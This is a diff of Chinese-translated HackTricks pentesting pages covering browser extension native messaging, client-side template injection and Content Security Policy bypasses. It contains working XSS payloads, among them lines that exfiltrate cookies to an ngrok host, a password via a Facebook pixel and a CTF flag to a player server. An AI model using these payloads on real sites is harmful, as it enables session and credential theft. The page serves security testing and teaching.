||||
浏览器扩展还允许通过 **stdin 与系统中的二进制文件通信**。应用程序必须安装一个 json 来指示这一点，格式如下：
|
||||
浏览器扩展还允许通过 **stdin** 与系统中的 **二进制文件** 进行通信。应用程序必须安装一个 json 来指示这一点，格式如下：
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -539,7 +539,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串，用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径，只有 1 种有效的 `type`，即 stdio（使用 stdin 和 stdout），`allowed_origins` 表示可以访问它的扩展（不能使用通配符）。
|
||||
`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串，用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径，只有 1 种有效的 `type`，即 stdio（使用 stdin 和 stdout），而 `allowed_origins` 表示可以访问它的扩展（不能使用通配符）。
|
||||
|
||||
Chrome/Chromium 会在某些 Windows 注册表和 macOS 和 Linux 的某些路径中搜索此 json（更多信息请参见 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)）。
|
||||
|
||||
@ -561,9 +561,9 @@ console.log("Received " + response)
|
||||
1. 浏览器扩展对内容脚本有一个通配符模式。
|
||||
2. 内容脚本使用`sendMessage`将`postMessage`消息传递给后台脚本。
|
||||
3. 后台脚本使用`sendNativeMessage`将消息传递给本机应用程序。
|
||||
4. 本机应用程序危险地处理消息，导致代码执行。
|
||||
4. 本机应用程序以危险的方式处理消息，导致代码执行。
|
||||
|
||||
在其中解释了**如何从任何页面利用浏览器扩展进行RCE**的示例。
|
||||
在其中，解释了**如何从任何页面利用浏览器扩展进行RCE**的示例。
|
||||
|
||||
## 内存/代码/剪贴板中的敏感信息
|
||||
|
||||
@ -573,9 +573,9 @@ console.log("Received " + response)
|
||||
|
||||
当然，**不要在代码中放置敏感信息**，因为它将是**公开的**。
|
||||
|
||||
要从浏览器中转储内存，您可以**转储进程内存**，或者要进入浏览器扩展的**设置**，点击**`Inspect pop-up`** -> 在**`Memory`**部分 -> **`Take a snapshot`**，然后使用**`CTRL+F`**在快照中搜索敏感信息。
|
||||
要从浏览器转储内存，您可以**转储进程内存**，或者转到浏览器扩展的**设置**，点击**`Inspect pop-up`** -> 在**`Memory`**部分 -> **`Take a snapshot`**，然后使用**`CTRL+F`**在快照中搜索敏感信息。
|
||||
|
||||
此外，像助记密钥或密码这样的高度敏感信息**不应允许复制到剪贴板**（或至少在几秒钟内将其从剪贴板中移除），因为这样监控剪贴板的进程将能够获取它们。
|
||||
此外，像助记密钥或密码这样的高度敏感信息**不应允许复制到剪贴板**（或者至少在几秒钟内将其从剪贴板中移除），因为这样监控剪贴板的进程将能够获取它们。
|
||||
|
||||
## 在浏览器中加载扩展
|
||||
|
||||
@ -608,13 +608,13 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
另一种方便的方法是使用 Chrome 扩展源查看器，这是一个开源项目。可以从 [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) 安装。查看器的源代码可在其 [GitHub repository](https://github.com/Rob--W/crxviewer) 中找到。
|
||||
|
||||
### 查看本地安装的扩展的源代码
|
||||
### 查看本地安装扩展的源代码
|
||||
|
||||
本地安装的 Chrome 扩展也可以被检查。方法如下：
|
||||
|
||||
1. 通过访问 `chrome://version/` 并找到“Profile Path”字段来访问您的 Chrome 本地配置文件目录。
|
||||
2. 在配置文件目录中导航到 `Extensions/` 子文件夹。
|
||||
3. 此文件夹包含所有已安装的扩展，通常以可读格式存放其源代码。
|
||||
3. 该文件夹包含所有已安装的扩展，通常以可读格式存放其源代码。
|
||||
|
||||
要识别扩展，您可以将它们的 ID 映射到名称：
|
||||
|
||||
@ -631,7 +631,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
## Chrome 扩展清单数据集
|
||||
|
||||
为了尝试发现易受攻击的浏览器扩展，您可以使用 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) 并检查它们的清单文件以寻找潜在的脆弱迹象。例如，检查用户超过 25000 的扩展，`content_scripts` 和权限 `nativeMessaing`：
|
||||
为了尝试发现易受攻击的浏览器扩展，您可以使用 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) 并检查它们的清单文件以寻找潜在的易受攻击迹象。例如，检查用户超过 25000 的扩展，`content_scripts` 和权限 `nativeMessaing`：
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
@ -647,8 +647,8 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- [ ] 如果这里提到的**URL易受XSS或接管攻击**，攻击者将能够**直接向后台脚本发送消息**。非常强大的绕过方式。
|
||||
- [ ] 尽可能**限制****`web_accessible_resources`**，甚至如果可能的话留空。
|
||||
- [ ] 如果**`web_accessible_resources`**不为空，请检查[**ClickJacking**](browext-clickjacking.md)
|
||||
- [ ] 如果有任何**通信**发生在**扩展**与**网页**之间，[**检查XSS**](browext-xss-example.md) **漏洞**。
|
||||
- [ ] 如果使用了Post Messages，请检查[**Post Message漏洞**](../postmessage-vulnerabilities/)**.**
|
||||
- [ ] 如果**扩展**与**网页**之间发生任何**通信**，请[**检查XSS**](browext-xss-example.md) **漏洞**。
|
||||
- [ ] 如果使用了Post Messages，请检查[**Post Message漏洞**](../postmessage-vulnerabilities/index.html)**。**
|
||||
- [ ] 如果**内容脚本访问DOM细节**，请检查它们是否在被网页**修改**时**引入XSS**。
|
||||
- [ ] 如果此通信也涉及**内容脚本 -> 后台脚本通信**，请特别强调。
|
||||
- [ ] 如果后台脚本通过**本机消息传递**进行通信，请检查通信是否安全且经过清理。
|
||||
@ -667,25 +667,25 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- 从提供的Chrome网上应用店链接提取任何Chrome扩展。
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**：简单地显示扩展的manifest的JSON美化版本。
|
||||
- **指纹分析**：检测[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)并自动生成Chrome扩展指纹JavaScript。
|
||||
- **潜在的Clickjacking分析**：检测设置了[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令的扩展HTML页面。这些页面可能会受到Clickjacking的影响，具体取决于页面的目的。
|
||||
- **潜在Clickjacking分析**：检测设置了[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令的扩展HTML页面。这些页面可能易受Clickjacking攻击，具体取决于页面的目的。
|
||||
- **权限警告查看器**：显示用户尝试安装扩展时将显示的所有Chrome权限提示警告的列表。
|
||||
- **危险函数**：显示可能被攻击者利用的危险函数的位置（例如，innerHTML、chrome.tabs.executeScript等函数）。
|
||||
- **入口点**：显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域以及寻找潜在的发送恶意数据到扩展的点非常有用。
|
||||
- **入口点**：显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域和寻找潜在的恶意数据发送点非常有用。
|
||||
- 危险函数和入口点扫描器生成的警报具有以下内容：
|
||||
- 相关代码片段和导致警报的行。
|
||||
- 问题描述。
|
||||
- “查看文件”按钮以查看包含代码的完整源文件。
|
||||
- 警报文件的路径。
|
||||
- 警报文件的完整Chrome扩展URI。
|
||||
- 文件类型，例如后台页面脚本、内容脚本、浏览器操作等。
|
||||
- 如果易受攻击的行在JavaScript文件中，所有包含该行的页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
|
||||
- 相关代码片段和导致警报的行。
|
||||
- 问题描述。
|
||||
- “查看文件”按钮以查看包含代码的完整源文件。
|
||||
- 警报文件的路径。
|
||||
- 警报文件的完整Chrome扩展URI。
|
||||
- 文件类型，例如后台页面脚本、内容脚本、浏览器操作等。
|
||||
- 如果易受攻击的行在JavaScript文件中，则包括所有包含该行的页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
|
||||
- **内容安全策略（CSP）分析器和绕过检查器**：这将指出扩展CSP中的弱点，并将揭示由于白名单CDN等原因绕过CSP的潜在方法。
|
||||
- **已知漏洞库**：使用[Retire.js](https://retirejs.github.io/retire.js/)检查是否使用了已知漏洞的JavaScript库。
|
||||
- 下载扩展和格式化版本。
|
||||
- 下载原始扩展。
|
||||
- 下载美化版本的扩展（自动美化的HTML和JavaScript）。
|
||||
- 扫描结果的自动缓存，第一次运行扩展扫描将花费相当多的时间。然而，第二次运行时，假设扩展没有更新，将几乎是瞬时的，因为结果被缓存。
|
||||
- 可链接的报告URL，轻松将其他人链接到由Tarnish生成的扩展报告。
|
||||
- 扫描结果的自动缓存，第一次运行扩展扫描将花费相当长的时间。然而，第二次运行时，假设扩展没有更新，将几乎是瞬时的，因为结果已被缓存。
|
||||
- 可链接的报告URL，轻松将其他人链接到tarnish生成的扩展报告。
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
# 客户端模板注入 (CSTI)
|
||||
# Client Side Template Injection (CSTI)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 摘要
|
||||
## Summary
|
||||
|
||||
它类似于 [**服务器端模板注入**](ssti-server-side-template-injection/)，但在 **客户端**。**SSTI** 允许您在远程服务器上 **执行代码**，而 **CSTI** 可能允许您在受害者的浏览器中 **执行任意 JavaScript** 代码。
|
||||
它类似于 [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)，但在 **client** 端。**SSTI** 允许您在远程服务器上 **execute code**，而 **CSTI** 可能允许您在受害者的浏览器中 **execute arbitrary JavaScript** 代码。
|
||||
|
||||
**测试** 这种漏洞与 **SSTI** 的情况非常 **相似**，解释器期望 **一个模板** 并将其执行。例如，使用像 `{{ 7-7 }}` 的有效载荷，如果应用程序 **存在漏洞**，您将看到 `0`，如果没有，您将看到原始内容：`{{ 7-7 }}`
|
||||
**Testing** 这种漏洞与 **SSTI** 的情况非常 **similar**，解释器期望 **a template** 并将其执行。例如，使用像 `{{ 7-7 }}` 的有效载荷，如果应用程序 **vulnerable**，您将看到 `0`，如果没有，您将看到原始内容：`{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
@ -21,16 +21,16 @@ AngularJS 是一个广泛使用的 JavaScript 框架，通过称为指令的属
|
||||
<!-- Google Research - AngularJS -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
您可以在 **AngularJS** 中找到该漏洞的一个非常 **基本的在线示例**，链接为 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
您可以在 **AngularJS** 中找到该漏洞的一个非常**基本的在线示例**，链接为 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
|
||||
> [!CAUTION] > [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)，因此从这个版本开始，像 `{{constructor.constructor('alert(1)')()}}` 或 `<input ng-focus=$event.view.alert('XSS')>` 的有效载荷应该可以工作。
|
||||
|
||||
## VueJS
|
||||
|
||||
您可以在 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) 找到一个 **易受攻击的 Vue** 实现\
|
||||
您可以在 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) 找到一个**易受攻击的 Vue** 实现\
|
||||
有效载荷: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||||
|
||||
以及易受攻击示例的 **源代码** 在这里: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
以及该易受攻击示例的**源代码**在这里: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
```markup
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
|
||||
@ -58,7 +58,7 @@ object-src 'none';
|
||||
- **report-to**: 指定如果违反政策将发送报告的组。
|
||||
- **worker-src**: 指定Worker、SharedWorker或ServiceWorker脚本的有效来源。
|
||||
- **prefetch-src**: 指定将被获取或预获取的资源的有效来源。
|
||||
- **navigate-to**: 限制文档可以通过任何方式导航到的URL（a、form、window.location、window.open等）。
|
||||
- **navigate-to**: 限制文档可以通过任何方式导航的URL（a、form、window.location、window.open等）。
|
||||
|
||||
### 来源
|
||||
|
||||
@ -70,7 +70,7 @@ object-src 'none';
|
||||
- `'unsafe-hashes'`: 启用特定的内联事件处理程序。
|
||||
- `'unsafe-inline'`: 允许使用内联资源，如内联`<script>`或`<style>`，出于安全原因不推荐使用。
|
||||
- `'nonce'`: 使用加密nonce（一次性使用的数字）对特定内联脚本的白名单。
|
||||
- 如果您有JS限制执行，可以使用`doc.defaultView.top.document.querySelector("[nonce]")`在页面内获取使用的nonce，然后重用它加载恶意脚本（如果使用了strict-dynamic，任何允许的来源都可以加载新来源，因此这不是必需的），如：
|
||||
- 如果您有JS限制执行，可以通过`doc.defaultView.top.document.querySelector("[nonce]")`获取页面内使用的nonce，然后重用它加载恶意脚本（如果使用了strict-dynamic，任何允许的来源都可以加载新来源，因此这不是必需的），如在：
|
||||
|
||||
<details>
|
||||
|
||||
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`：允许特定 sha256 哈希的脚本。
|
||||
- `'strict-dynamic'`：如果通过 nonce 或哈希被列入白名单，则允许从任何来源加载脚本。
|
||||
- `'host'`：指定特定主机，例如 `example.com`。
|
||||
- `https:`：限制 URL 仅使用 HTTPS。
|
||||
- `blob:`：允许从 Blob URL 加载资源（例如，通过 JavaScript 创建的 Blob URL）。
|
||||
- `filesystem:`：允许从文件系统加载资源。
|
||||
- `'report-sample'`：在违规报告中包含违规代码的示例（对调试有用）。
|
||||
- `'strict-origin'`：类似于 'self'，但确保源的协议安全级别与文档匹配（只有安全来源才能从安全来源加载资源）。
|
||||
- `'strict-origin-when-cross-origin'`：在进行同源请求时发送完整 URL，但在跨源请求时仅发送来源。
|
||||
- `'unsafe-allow-redirects'`：允许加载会立即重定向到另一个资源的资源。不推荐使用，因为这会削弱安全性。
|
||||
- `'sha256-<hash>'`: 允许特定 sha256 哈希的脚本。
|
||||
- `'strict-dynamic'`: 如果通过 nonce 或哈希被列入白名单，则允许从任何来源加载脚本。
|
||||
- `'host'`: 指定特定主机，例如 `example.com`。
|
||||
- `https:`: 限制 URL 仅使用 HTTPS。
|
||||
- `blob:`: 允许从 Blob URL 加载资源（例如，通过 JavaScript 创建的 Blob URL）。
|
||||
- `filesystem:`: 允许从文件系统加载资源。
|
||||
- `'report-sample'`: 在违规报告中包含违规代码的示例（对调试有用）。
|
||||
- `'strict-origin'`: 类似于 'self'，但确保源的协议安全级别与文档匹配（只有安全源可以从安全源加载资源）。
|
||||
- `'strict-origin-when-cross-origin'`: 在进行同源请求时发送完整 URL，但在跨源请求时仅发送源。
|
||||
- `'unsafe-allow-redirects'`: 允许加载会立即重定向到另一个资源的资源。不推荐使用，因为这会削弱安全性。
|
||||
|
||||
## 不安全的 CSP 规则
|
||||
|
||||
@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
有效的有效载荷: `"/><script>alert(1);</script>`
|
||||
|
||||
#### 通过 Iframes 的 self + 'unsafe-inline'
|
||||
#### self + 'unsafe-inline' 通过 Iframes
|
||||
|
||||
{{#ref}}
|
||||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
@ -116,7 +116,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
### 'unsafe-eval'
|
||||
|
||||
> [!CAUTION]
|
||||
> 这不起作用，更多信息请 [**查看此处**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
|
||||
> 这不起作用，更多信息请[**查看此处**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中，并且因为是允许的脚本在创建它，**新的脚本标签将被允许执行**。
|
||||
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中，并且是由允许的脚本创建的，那么**新的脚本标签将被允许执行**。
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
@ -161,9 +161,9 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
然而，服务器**正在验证上传的文件**，只会允许您**上传特定类型的文件**。
|
||||
|
||||
此外，即使您能够使用服务器接受的扩展名（如：_script.png_）在文件中上传**JS代码**，这也不够，因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**，而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如，从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名，因此它不会以**MIME类型如audio/***提供它。
|
||||
此外，即使您能够使用服务器接受的扩展名（如：_script.png_）在文件中上传**JS代码**，这也不够，因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**，而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如，在一个CTF中我了解到**Apache不知道**_**.wave**_扩展名，因此它不会以**MIME类型如audio/***提供该文件。
|
||||
|
||||
从这里开始，如果您发现XSS和文件上传，并且设法找到一个**被误解的扩展名**，您可以尝试上传一个具有该扩展名和脚本内容的文件。或者，如果服务器正在检查上传文件的正确格式，可以创建一个多重格式文件（[一些多重格式示例在这里](https://github.com/Polydet/polyglot-database)）。
|
||||
从这里开始，如果您发现了XSS和文件上传，并且您设法找到一个**被误解的扩展名**，您可以尝试上传一个具有该扩展名和脚本内容的文件。或者，如果服务器正在检查上传文件的正确格式，可以创建一个多重格式文件（[这里有一些多重格式示例](https://github.com/Polydet/polyglot-database)）。
|
||||
|
||||
### Form-action
|
||||
|
||||
@ -224,7 +224,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
从类名进行 Angular XSS：
|
||||
Angular XSS来自类名：
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -243,7 +243,7 @@ ng-init="c.init()"
|
||||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
更多[**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
更多 [**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
|
||||
@ -268,13 +268,13 @@ https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
滥用 \*.google.com/script.google.com
|
||||
|
||||
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在 [这份报告](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 中所做的那样。
|
||||
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在[这份报告中](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)所做的那样。
|
||||
|
||||
### 第三方端点 + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
像这样的场景，其中 `script-src` 设置为 `self` 和一个特定的白名单域，可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法，这使得攻击者能够执行 XSS，工作有效载荷：
|
||||
像这样的场景，其中 `script-src` 设置为 `self` 和一个特定的白名单域，可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法，这使攻击者能够执行 XSS，工作有效载荷：
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -313,7 +313,7 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
您应该能够提取数据，就像一直以来使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一样。在这种情况下，您可以按照以下一般步骤操作：
|
||||
您应该能够提取数据，类似于使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一直以来的做法。在这种情况下，您可以遵循以下一般步骤：
|
||||
|
||||
1. 在此处创建一个 Facebook 开发者帐户。
|
||||
2. 创建一个新的“Facebook 登录”应用并选择“网站”。
|
||||
@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
5. 转到您的应用“事件管理器”，选择您创建的应用（请注意，事件管理器可以在类似于此的 URL 中找到：https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events）。
|
||||
6. 选择“测试事件”选项卡，以查看“您的”网站发送的事件。
|
||||
|
||||
然后，在受害者一侧，您执行以下代码以初始化 Facebook 跟踪像素，指向攻击者的 Facebook 开发者帐户应用 ID，并发出如下自定义事件：
|
||||
然后，在受害者一侧，您执行以下代码以初始化 Facebook 跟踪像素，指向攻击者的 Facebook 开发者帐户应用 ID，并发出如下的自定义事件：
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
@ -341,7 +341,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
浏览器最终会加载 `https://example.com/scripts/angular/angular.js`。
|
||||
|
||||
这之所以有效，是因为对于浏览器来说，您正在加载一个名为 `..%2fangular%2fangular.js` 的文件，该文件位于 `https://example.com/scripts/react/` 下，这符合 CSP。
|
||||
这有效是因为对于浏览器来说，你正在加载一个名为 `..%2fangular%2fangular.js` 的文件，该文件位于 `https://example.com/scripts/react/` 下，这符合 CSP。
|
||||
|
||||
∑，它们会解码，从而有效地请求 `https://example.com/scripts/react/../angular/angular.js`，这等同于 `https://example.com/scripts/angular/angular.js`。
|
||||
|
||||
@ -357,20 +357,20 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||||
{{#endref}}
|
||||
|
||||
### 缺少 **base-uri**
|
||||
### 缺失 **base-uri**
|
||||
|
||||
如果缺少 **base-uri** 指令，您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/)。
|
||||
如果缺少 **base-uri** 指令，你可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
|
||||
此外，如果 **页面使用相对路径加载脚本**（如 `<script src="/js/app.js">`）并使用 **Nonce**，您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本，从而实现 XSS。\
|
||||
此外，如果 **页面使用相对路径加载脚本**（如 `<script src="/js/app.js">`）并使用 **Nonce**，你可以利用 **base** **标签** 使其 **从你自己的服务器加载** 脚本，从而实现 XSS。\
|
||||
如果易受攻击的页面是通过 **httpS** 加载的，请在 base 中使用 httpS URL。
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS 事件
|
||||
|
||||
一个特定的策略称为内容安全策略 (CSP) 可能会限制 JavaScript 事件。然而，AngularJS 引入了自定义事件作为替代。在事件中，AngularJS 提供了一个独特的对象 `$event`，引用原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是，在 Chrome 中，`$event/event` 对象具有一个 `path` 属性，包含一个对象数组，涉及事件的执行链，`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||||
一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而，AngularJS 引入了自定义事件作为替代。在事件中，AngularJS 提供了一个独特的对象 `$event`，引用原生浏览器事件对象。这个 `$event` 对象可以被利用来规避 CSP。值得注意的是，在 Chrome 中，`$event/event` 对象具有一个 `path` 属性，包含一个对象数组，涉及事件的执行链，`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||||
|
||||
通过将这个数组传递给 `orderBy` 过滤器，可以对其进行迭代，利用终端元素（`window` 对象）触发一个全局函数，如 `alert()`。下面的代码片段阐明了这个过程：
|
||||
通过将这个数组传递给 `orderBy` 过滤器，可以对其进行迭代，利用终端元素（`window` 对象）触发一个全局函数，如 `alert()`。下面演示的代码片段阐明了这个过程：
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
在Angular JS应用程序中，允许脚本加载的CSP策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息，请参阅此[git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)中提供的详细指南。
|
||||
一个在 Angular JS 应用程序中为脚本加载列入白名单的 CSP 策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息，请参阅此 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) 中的详细指南。
|
||||
|
||||
有效的有效载荷：
|
||||
```html
|
||||
@ -429,7 +429,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
|
||||
### 使用悬挂标记绕过 CSP
|
||||
|
||||
阅读 [how here](../dangling-markup-html-scriptless-injection/)。
|
||||
阅读 [how here](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
|
||||
### 'unsafe-inline'; img-src \*; 通过 XSS
|
||||
```
|
||||
@ -437,16 +437,16 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` 意味着您可以在代码中执行任何脚本（XSS 可以执行代码），而 `img-src *` 意味着您可以在网页中使用来自任何资源的任何图像。
|
||||
|
||||
您可以通过图像泄露数据来绕过此 CSP（在这种情况下，XSS 滥用一个 CSRF，其中一个可被机器人访问的页面包含 SQLi，并通过图像提取标志）：
|
||||
您可以通过图像提取数据来绕过此 CSP（在这种情况下，XSS 滥用一个 CSRF，其中一个可被机器人访问的页面包含 SQLi，并通过图像提取标志）：
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
Image().src='http://PLAYER_SERVER/?'+_)
|
||||
</script>
|
||||
```
|
||||
来自: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
从: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
